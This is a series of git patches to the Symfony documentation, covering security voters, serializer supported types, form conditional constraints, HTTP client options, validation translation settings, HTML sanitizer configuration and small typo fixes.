+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+    // ...
+
+    class PostVoter extends Voter
+    {
+        const VIEW = 'view';
+        const EDIT = 'edit';
+
+        protected function supports(string $attribute, mixed $subject): bool
+        {
+            // ...
+        }
+
+        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool
+        {
+            // ...
+        }
+
+        // this method returns true if the voter applies to the given attribute;
+        // if it returns false, Symfony won't call it again for this attribute
+        public function supportsAttribute(string $attribute): bool
+        {
+            return in_array($attribute, [self::VIEW, self::EDIT], true);
+        }
+
+        // this method returns true if the voter applies to the given object class/type;
+        // if it returns false, Symfony won't call it again for that type of object
+        public function supportsAttribute(string $attribute): bool
+        {
+            // you can't use a simple Post::class === $subjectType comparison
+            // because the subject type might be a Doctrine proxy class
+            return is_a($subjectType, Post::class, true);
+        }
+    }
+
+.. _security-voters-change-message-and-status-code:
+
+Changing the message and status code returned
+---------------------------------------------
+
+By default, the ``#[IsGranted]`` attribute will throw a
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+and return an http **403** status code with **Access Denied** as message.
+
+However, you can change this behavior by specifying the message and status code returned::
+
+    // src/Controller/PostController.php
+
+    // ...
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    class PostController extends AbstractController
+    {
+        #[Route('/posts/{id}', name: 'post_show')]
+        #[IsGranted('show', 'post', 'Post not found', 404)]
+        public function show(Post $post): Response
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    If the status code is different than 403, an
+    :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
+    will be thrown instead.
+
 .. _security-voters-change-strategy:
 
 Changing the Access Decision Strategy
@@ -467,35 +542,3 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
                 // ...
             ;
         };
-
-.. _security-voters-change-message-and-status-code:
-
-Changing the message and status code returned
----------------------------------------------
-
-By default, the ``#[IsGranted]`` attribute will throw a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-and return an http **403** status code with **Access Denied** as message.
-
-However, you can change this behavior by specifying the message and status code returned::
-
-    // src/Controller/PostController.php
-
-    // ...
-    use Symfony\Component\Security\Http\Attribute\IsGranted;
-
-    class PostController extends AbstractController
-    {
-        #[Route('/posts/{id}', name: 'post_show')]
-        #[IsGranted('show', 'post', 'Post not found', 404)]
-        public function show(Post $post): Response
-        {
-            // ...
-        }
-    }
-
-.. tip::
-
-    If the status code is different than 403, an
-    :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
-    will be thrown instead.

From a22eaedd488f114e2e577d95f6b25f14a262063f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 10:41:38 +0200
Subject: [PATCH 7068/7107] [Serializer] Update the getSupportedTypes() docs of
 custom serializers

---
 serializer/custom_normalizer.rst | 42 +++++++++++++++-----------------
 1 file changed, 20 insertions(+), 22 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 4221b3ad808..d965c62e2ef 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -164,31 +164,29 @@ Improving Performance of Normalizers/Denormalizers
 
     The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
 
-Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`
-contain a new method ``getSupportedTypes()``. This method allows normalizers or
-denormalizers to declare the type of objects they can handle, and whether they
-are cacheable. With this info, even if the ``supports*()`` call is not cacheable,
-the Serializer can skip a ton of method calls to ``supports*()`` improving
-performance substantially in some cases.
+Both :class:Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface
+and :class:Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface
+define a ``getSupportedTypes()`` method to declare which types they support and
+whether their ``supports*()`` result can be cached.
+
+This **does not** cache the actual normalization or denormalization result. It
+only **caches the decision** of whether a normalizer supports a given type, allowing
+the Serializer to skip unnecessary ``supports*()`` calls and improve performance.
 
 The ``getSupportedTypes()`` method should return an array where the keys
-represent the supported types, and the values indicate whether the result of
-the ``supports*()`` method call can be cached or not. The format of the
-returned array is as follows:
+represent the supported types, and the values indicate whether the result of the
+corresponding ``supports*()`` call can be cached. The array format is as follows:
 
 #. The special key ``object`` can be used to indicate that the normalizer or
    denormalizer supports any classes or interfaces.
 #. The special key ``*`` can be used to indicate that the normalizer or
-   denormalizer might support any types.
-#. The other keys in the array should correspond to specific types that the
-   normalizer or denormalizer supports.
-#. The values associated with each type should be a boolean indicating if the
-   result of the ``supports*()`` method call for that type can be cached or not.
-   A value of ``true`` means that the result is cacheable, while ``false`` means
-   that the result is not cacheable.
-#. A ``null`` value for a type means that the normalizer or denormalizer does
-   not support that type.
+   denormalizer might support any type.
+#. Other keys should correspond to specific types that the normalizer or
+   denormalizer supports.
+#. The values should be booleans indicating whether the result of the
+   ``supports*()`` call for that type is cacheable. Use ``true`` if the result
+   can be cached, ``false`` if it cannot.
+#. A ``null`` value means the normalizer or denormalizer does not support that type.
 
 Here is an example of how to use the ``getSupportedTypes()`` method::
 
@@ -201,9 +199,9 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
         public function getSupportedTypes(?string $format): array
         {
             return [
-                'object' => null,             // Doesn't support any classes or interfaces
-                '*' => false,                 // Supports any other types, but the result is not cacheable
-                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
+                'object' => null,             // doesn't support any classes or interfaces
+                '*' => false,                 // supports any other types, but the decision is not cacheable
+                MyCustomClass::class => true, // supports MyCustomClass and decision is cacheable
             ];
         }
     }

From 1740bb630090875494fa88e256242029f9793d0a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 11:09:01 +0200
Subject: [PATCH 7069/7107] [Form] Document conditional constraints in forms
 without classes

---
 form/without_class.rst | 38 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)

diff --git a/form/without_class.rst b/form/without_class.rst
index 8b0af7cf23f..c0da3c9db5a 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -177,3 +177,41 @@ in your controller::
         ->add('firstName', TextType::class)
         ->add('lastName', TextType::class)
         ->getForm();
+
+Conditional Constraints
+~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to define field constraints that depend on the value of other
+fields (e.g. a field must not be blank when another field has a certain value).
+To achieve this, use the ``expression`` option of the
+:doc:`When constraint </reference/constraints/When>` to reference the other field::
+
+    $builder
+        ->add('how_did_you_hear', ChoiceType::class, [
+            'required' => true,
+            'label' => 'How did you hear about us?',
+            'choices' => [
+                'Search engine' => 'search_engine',
+                'Friends' => 'friends',
+                'Other' => 'other',
+            ],
+            'expanded' => true,
+            'constraints' => [
+                new Assert\NotBlank(),
+            ]
+        ])
+
+        // this field is only required if the value of the 'how_did_you_hear' field is 'other'
+        ->add('other_text', TextType::class, [
+            'required' => false,
+            'label' => 'Please specify',
+            'constraints' => [
+                new Assert\When(
+                    expression: 'this.getParent().get("how_did_you_hear").getData() == "other"',
+                    constraints: [
+                        new Assert\NotBlank(),
+                    ],
+                )
+            ],
+        ])
+    ;

From bb6be95ebbfcad8c558ca0c7504efaa69e28e511 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 12:59:37 +0200
Subject: [PATCH 7070/7107] [Doctrine] Show nullable arguments in
 EntityValueResolver

---
 doctrine.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 6abf5fa7928..ae7cb259628 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -650,7 +650,21 @@ automatically! You can simplify the controller to::
     }
 
 That's it! The attribute uses the ``{id}`` from the route to query for the ``Product``
-by the ``id`` column. If it's not found, a 404 page is generated.
+by the ``id`` column. If it's not found, a 404 error is thrown.
+
+You can change this behavior by making the controller argument optional. In that
+case, no 404 is thrown automatically and you're free to handle the missing entity
+yourself::
+
+    #[Route('/product/{id}')]
+    public function show(?Product $product): Response
+    {
+        if (null === $product) {
+            // run your own logic to return a custom response
+        }
+
+        // ...
+    }
 
 .. tip::
 

From 56d1512aaa06bc9fba4ffe6209147e72f04b5cc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 13:08:36 +0200
Subject: [PATCH 7071/7107] [HttpClient] Mention the merging of custom options
 and default scoped options

---
 http_client.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index e2b0b4f41bf..15a3a9ef8a8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -334,6 +334,12 @@ autoconfigure the HTTP client based on the requested URL:
 You can define several scopes, so that each set of options is added only if a
 requested URL matches one of the regular expressions set by the ``scope`` option.
 
+.. note::
+
+    The options passed to the ``request()`` method are merged with the default
+    options defined in the scoped client. The options passed to ``request()``
+    take precedence and override or extend the default ones.
+
 If you use scoped clients in the Symfony framework, you must use any of the
 methods defined by Symfony to :ref:`choose a specific service <services-wire-specific-service>`.
 Each client has a unique service named after its configuration.

From c35917dee345d7497960c9872febed65b8fcb7a0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Jun 2025 22:51:27 +0200
Subject: [PATCH 7072/7107] Use DOCtor-RST 1.69.1

---
 .github/workflows/ci.yaml             | 2 +-
 cache.rst                             | 2 +-
 mailer.rst                            | 4 ++--
 reference/configuration/framework.rst | 2 +-
 templates.rst                         | 2 +-
 5 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6b00e771e3b..3722546330d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.69.0
+                uses: docker://oskarstark/doctor-rst:1.69.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/cache.rst b/cache.rst
index 2dec1e6a758..bcd282af670 100644
--- a/cache.rst
+++ b/cache.rst
@@ -975,9 +975,9 @@ a message bus to compute values in a worker:
     .. code-block:: php
 
         // config/framework/framework.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Component\Cache\Messenger\EarlyExpirationMessage;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->cache()
diff --git a/mailer.rst b/mailer.rst
index 52c6ee7dded..b1976444ac3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -54,8 +54,8 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     .. code-block:: php
 
         // config/packages/mailer.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->mailer()->dsn(env('MAILER_DSN'));
@@ -1411,8 +1411,8 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->mailer()
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 83cbc0e1135..6376c057940 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1712,8 +1712,8 @@ and also to configure the session handler with a DSN:
     .. code-block:: php
 
         // config/packages/framework.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             // ...
diff --git a/templates.rst b/templates.rst
index 5e34b930d0e..0041077dfed 100644
--- a/templates.rst
+++ b/templates.rst
@@ -510,8 +510,8 @@ in container parameters <service-container-parameters>`:
     .. code-block:: php
 
         // config/packages/twig.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
         use Symfony\Config\TwigConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
 
         return static function (TwigConfig $twig): void {
             // ...

From f3c8163f2751ab06836f24c83f6b8d70df2b0257 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Jun 2025 23:07:19 +0200
Subject: [PATCH 7073/7107] minor

---
 lock.rst                              | 2 +-
 reference/configuration/framework.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lock.rst b/lock.rst
index d9d57481f3d..6bfe7a5390e 100644
--- a/lock.rst
+++ b/lock.rst
@@ -135,8 +135,8 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->lock()
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d30b8e3879c..26e36b264fe 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2811,8 +2811,8 @@ the name as key and DSN or service id as value:
     .. code-block:: php
 
         // config/packages/semaphore.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
 
         return static function (FrameworkConfig $framework): void {
             $framework->semaphore()

From 6f6566daa3a06c474f965792a5d6fa9f8c728f82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 15:21:19 +0200
Subject: [PATCH 7074/7107] [Validation] Add the `disable_translation` option

---
 reference/configuration/framework.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ad2b7587e5f..e37e28f6caf 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3660,6 +3660,22 @@ Defines the Doctrine entities that will be introspected to add
                     ]);
         };
 
+.. _reference-validation-disable_translation:
+
+disable_translation
+...................
+
+**type**: ``boolean`` **default**: ``false``
+
+Validation error messages are automatically translated to the current application
+locale. Set this option to ``true`` to disable translation of validation messages.
+This is useful to avoid "missing translation" errors in applications that use
+only a single language.
+
+.. versionadded:: 7.3
+
+    The ``disable_translation`` option was introduced in Symfony 7.3.
+
 .. _reference-validation-email_validation_mode:
 
 email_validation_mode

From d05f7487b4d16cdb584739555583ac74e00f0c0a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 15:28:03 +0200
Subject: [PATCH 7075/7107] [Validator] Mention how to disable validation
 translation in ConstraintViolationBuilderInterface

---
 validation/custom_constraint.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 8fcb0c5c10e..c935eb538b7 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -180,6 +180,16 @@ message as its argument and returns an instance of
 :class:`Symfony\\Component\\Validator\\Violation\\ConstraintViolationBuilderInterface`.
 The ``addViolation()`` method call finally adds the violation to the context.
 
+.. tip::
+
+    Validation error messages are automatically translated to the current application
+    locale. If your application doesn't use translations, you can disable this behavior
+    by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``.
+
+    .. versionadded:: 6.4
+
+        The ``disableTranslation()`` method was introduced in Symfony 6.4.
+
 Using the new Validator
 -----------------------
 

From 9b0e108449a2a2e8368d88806b58e9f6a8a57790 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jun 2025 08:13:20 +0200
Subject: [PATCH 7076/7107] Add a reference to a config option

---
 validation/custom_constraint.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 031e37b79b2..1996c64e3ca 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -181,6 +181,7 @@ The ``addViolation()`` method call finally adds the violation to the context.
     Validation error messages are automatically translated to the current application
     locale. If your application doesn't use translations, you can disable this behavior
     by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``.
+    See also the :ref:`framework.validation.disable_translation option <reference-validation-disable_translation>`.
 
     .. versionadded:: 6.4
 

From 271313b99ef6ab080d166287a14acf5286e43871 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jun 2025 08:13:54 +0200
Subject: [PATCH 7077/7107] Remove a versionadded directive

---
 validation/custom_constraint.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 665bc361dc4..6af3097a829 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -182,10 +182,6 @@ The ``addViolation()`` method call finally adds the violation to the context.
     locale. If your application doesn't use translations, you can disable this behavior
     by calling the ``disableTranslation()`` method of ``ConstraintViolationBuilderInterface``.
 
-    .. versionadded:: 6.4
-
-        The ``disableTranslation()`` method was introduced in Symfony 6.4.
-
 Using the new Validator
 -----------------------
 

From 87fff9cd654b1350a6578b97e5874bd5feec2af3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nico=20Hiort=20af=20Orn=C3=A4s?= <nico@warpspeed.solutions>
Date: Wed, 4 Jun 2025 23:30:30 +0300
Subject: [PATCH 7078/7107] Add note to IBAN validator documentation about
 whitespace handling

---
 reference/constraints/Iban.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 3cf800200e2..fac17f82739 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -85,6 +85,14 @@ will contain an International Bank Account Number.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
+.. note::
+
+    The IBAN validator accepts various human-readable formats, including different
+    whitespace types (e.g., spaces, non-breaking spaces). This flexibility may
+    cause issues when storing IBANs or integrating with APIs expecting a strict
+    format. Consider normalizing IBANs (e.g., removing whitespace) before storage
+    or processing to ensure compatibility.
+
 Options
 -------
 

From b5a3e1508e745659404c4c055fe3b34453817b08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jun 2025 09:04:25 +0200
Subject: [PATCH 7079/7107] Minor reword

---
 reference/constraints/Iban.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index fac17f82739..849d93cb565 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -87,11 +87,12 @@ will contain an International Bank Account Number.
 
 .. note::
 
-    The IBAN validator accepts various human-readable formats, including different
-    whitespace types (e.g., spaces, non-breaking spaces). This flexibility may
-    cause issues when storing IBANs or integrating with APIs expecting a strict
-    format. Consider normalizing IBANs (e.g., removing whitespace) before storage
-    or processing to ensure compatibility.
+    For convenience, the IBAN validator accepts values with various types of
+    whitespace (e.g., regular, non-breaking, and narrow non-breaking spaces),
+    which are automatically removed before validation. However, this flexibility
+    can cause issues when storing IBANs or sending them to APIs that expect a
+    strict format. To ensure compatibility, normalize IBANs by removing
+    whitespace and converting them to uppercase before storing or processing.
 
 Options
 -------

From 56283ea769da02334a8f16f3ad40a850d3d01708 Mon Sep 17 00:00:00 2001
From: Deepak Kumar <deekumar224@gmail.com>
Date: Thu, 5 Jun 2025 11:24:08 +0530
Subject: [PATCH 7080/7107] Fix typo in documentation: changed "controller" to
 "number" method

Updated the line that incorrectly instructed to create a "controller" method.
Replaced it with "number" method to align with the actual example context.

Original:
To do that, create a "Controller" class and a "controller" method inside of it:

Updated:
To do that, create a "Controller" class and a "number" method inside of it:
---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index f8b2fdaf251..8ab89baa9f6 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -36,7 +36,7 @@ Creating a Page: Route and Controller
 
 Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (well,
 random) number and prints it. To do that, create a "Controller" class and a
-"controller" method inside of it::
+"number" method inside of it::
 
     <?php
     // src/Controller/LuckyController.php

From 22f737e92d040cb37b24d59cc7045bf5ccb598be Mon Sep 17 00:00:00 2001
From: sebgarwood-gl <seb.garwood@goodlord.co>
Date: Fri, 6 Jun 2025 10:40:04 +0100
Subject: [PATCH 7081/7107] Fix dead link to Mathias Noback blog

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index c56c2bace82..fe3d2926714 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -366,5 +366,5 @@ Learn more
     /messenger
     /messenger/*
 
-.. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command%20bus/
+.. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command-bus/
 .. _`SimpleBus project`: https://docs.simplebus.io/en/latest/

From c8b626364a63950945b9991c19efca84fe07e268 Mon Sep 17 00:00:00 2001
From: Alessandro Podo <47177650+alessandro-podo@users.noreply.github.com>
Date: Sun, 8 Jun 2025 03:05:30 +0200
Subject: [PATCH 7082/7107] fix: use correct function and parameter name

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index e6d1084603c..83b0f2d4b0c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -331,7 +331,7 @@ Then, override one or both of the following methods::
 
         // this method returns true if the voter applies to the given object class/type;
         // if it returns false, Symfony won't call it again for that type of object
-        public function supportsAttribute(string $attribute): bool
+        public function supportsType(string subjectType): bool
         {
             // you can't use a simple Post::class === $subjectType comparison
             // because the subject type might be a Doctrine proxy class

From 2ee75784aa1c16273dddb9cfcafadc91145b088e Mon Sep 17 00:00:00 2001
From: Alessandro Podo <podo@lrz.de>
Date: Sun, 8 Jun 2025 18:19:05 +0200
Subject: [PATCH 7083/7107] fix missing $

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 83b0f2d4b0c..8959e0bf3cd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -331,7 +331,7 @@ Then, override one or both of the following methods::
 
         // this method returns true if the voter applies to the given object class/type;
         // if it returns false, Symfony won't call it again for that type of object
-        public function supportsType(string subjectType): bool
+        public function supportsType(string $subjectType): bool
         {
             // you can't use a simple Post::class === $subjectType comparison
             // because the subject type might be a Doctrine proxy class

From fb1931c3cee0f598168b5c21d6bee54628dd2544 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 9 Jun 2025 23:25:24 +0200
Subject: [PATCH 7084/7107] [Console] Adding custom indices

Page: https://symfony.com/doc/6.4/console/style.html#user-input-methods

Wording is shortened from https://symfony.com/doc/current/components/console/helpers/questionhelper.html#let-the-user-choose-from-a-list-of-answers
---
 console/style.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index bcc4d982457..9333409a13f 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -327,6 +327,11 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
+    Choice questions display both the choice value and a numeric index, which starts from 0
+    by default. To use custom indices, pass an array with custom numeric keys as the choice values::
+
+        $io->choice('Select the queue to analyze', [5 => 'queue1', 6 => 'queue2', 7 => 'queue3']);
+
     Finally, you can allow users to select multiple choices. To do so, users must
     separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1
     and 2)::

From ad18b269f013620390379b10bdf94bd7866c0ad6 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Sat, 31 May 2025 10:11:10 -0400
Subject: [PATCH 7085/7107] Example of allowed element with attributes
 disallowed

---
 html_sanitizer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index b412a49f321..5a02ee3990b 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -318,6 +318,8 @@ attributes from the `W3C Standard Proposal`_ are allowed.
                             img: 'src'
                             # allow the <h1> element with all safe attributes
                             h1: '*'
+                            # allow the <div> element with no attributes
+                            div: []
 
     .. code-block:: xml
 

From 2e7b619449139c27375d5638ee622c9f584b04f6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jun 2025 08:46:40 +0200
Subject: [PATCH 7086/7107] Add missing config formats

---
 html_sanitizer.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 5a02ee3990b..17096db913f 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -349,9 +349,12 @@ attributes from the `W3C Standard Proposal`_ are allowed.
                         </framework:allow-element>
 
                         <!-- allow the <h1> element with all safe attributes -->
-                        <framework:allow-element name="img">
+                        <framework:allow-element name="h1">
                             <framework:attribute>*</framework:attribute>
                         </framework:allow-element>
+
+                        <!-- allow the <div> element with no attributes -->
+                        <framework:allow-element name="div"/>
                     </framework:sanitizer>
                 </framework:html-sanitizer>
             </framework:config>
@@ -373,6 +376,9 @@ attributes from the `W3C Standard Proposal`_ are allowed.
 
                     // allow the <h1> element with all safe attributes
                     ->allowElement('h1', '*')
+
+                    // allow the <div> element with no attributes
+                    ->allowElement('div', [])
             ;
         };
 
@@ -391,6 +397,9 @@ attributes from the `W3C Standard Proposal`_ are allowed.
 
                 // allow the <h1> element with all safe attributes
                 ->allowElement('h1')
+
+                // allow the <div> element with no attributes
+                ->allowElement('div', [])
         );
 
 Block and Drop Elements

From 75685fe42b0060369a959783235faa72160fc49e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Jun 2025 09:03:40 +0200
Subject: [PATCH 7087/7107] Minor tweaks

---
 console/style.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index 9333409a13f..8540ce493f2 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -327,8 +327,9 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
-    Choice questions display both the choice value and a numeric index, which starts from 0
-    by default. To use custom indices, pass an array with custom numeric keys as the choice values::
+    Choice questions display both the choice value and a numeric index, which
+    starts from ``0`` by default. To use custom indices, pass an array with
+    custom numeric keys as the choice values::
 
         $io->choice('Select the queue to analyze', [5 => 'queue1', 6 => 'queue2', 7 => 'queue3']);
 

From 4ac67ef933d8d0cad916d837efa9caa37341691e Mon Sep 17 00:00:00 2001
From: Pierre MORADEI <pierre.moradei@gmail.com>
Date: Wed, 11 Jun 2025 09:40:32 +0200
Subject: [PATCH 7088/7107] Update custom_constraint.rst

grammar fix
---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c935eb538b7..cd5197c860e 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -328,7 +328,7 @@ define those options as public properties on the constraint class::
     }
 
 Then, inside the validator class you can access these options directly via the
-constraint class passes to the ``validate()`` method::
+constraint class passed to the ``validate()`` method::
 
     class FooValidator extends ConstraintValidator
     {

From 5edccbfa808a98cc9801d90ef19cd3e64dbf3fdc Mon Sep 17 00:00:00 2001
From: Ian Kevin Irlen <kvinirlen@gmail.com>
Date: Thu, 12 Jun 2025 14:19:43 +0400
Subject: [PATCH 7089/7107] Update custom_normalizer.rst

---
 serializer/custom_normalizer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9c037f7f33c..4e78d9d394e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -38,14 +38,14 @@ normalization process::
 
         public function normalize(mixed $data, ?string $format = null, array $context = []): array
         {
-            $data = $this->normalizer->normalize($data, $format, $context);
+            $normalizedData = $this->normalizer->normalize($data, $format, $context);
 
             // Here, add, edit, or delete some data:
-            $data['href']['self'] = $this->router->generate('topic_show', [
-                'id' => $object->getId(),
+            $normalizedData['href']['self'] = $this->router->generate('topic_show', [
+                'id' => $data->getId(),
             ], UrlGeneratorInterface::ABSOLUTE_URL);
 
-            return $data;
+            return $normalizedData;
         }
 
         public function supportsNormalization($data, ?string $format = null, array $context = []): bool

From e0dc6a2b39a357fe38151fc2efd5856ea6c443d8 Mon Sep 17 00:00:00 2001
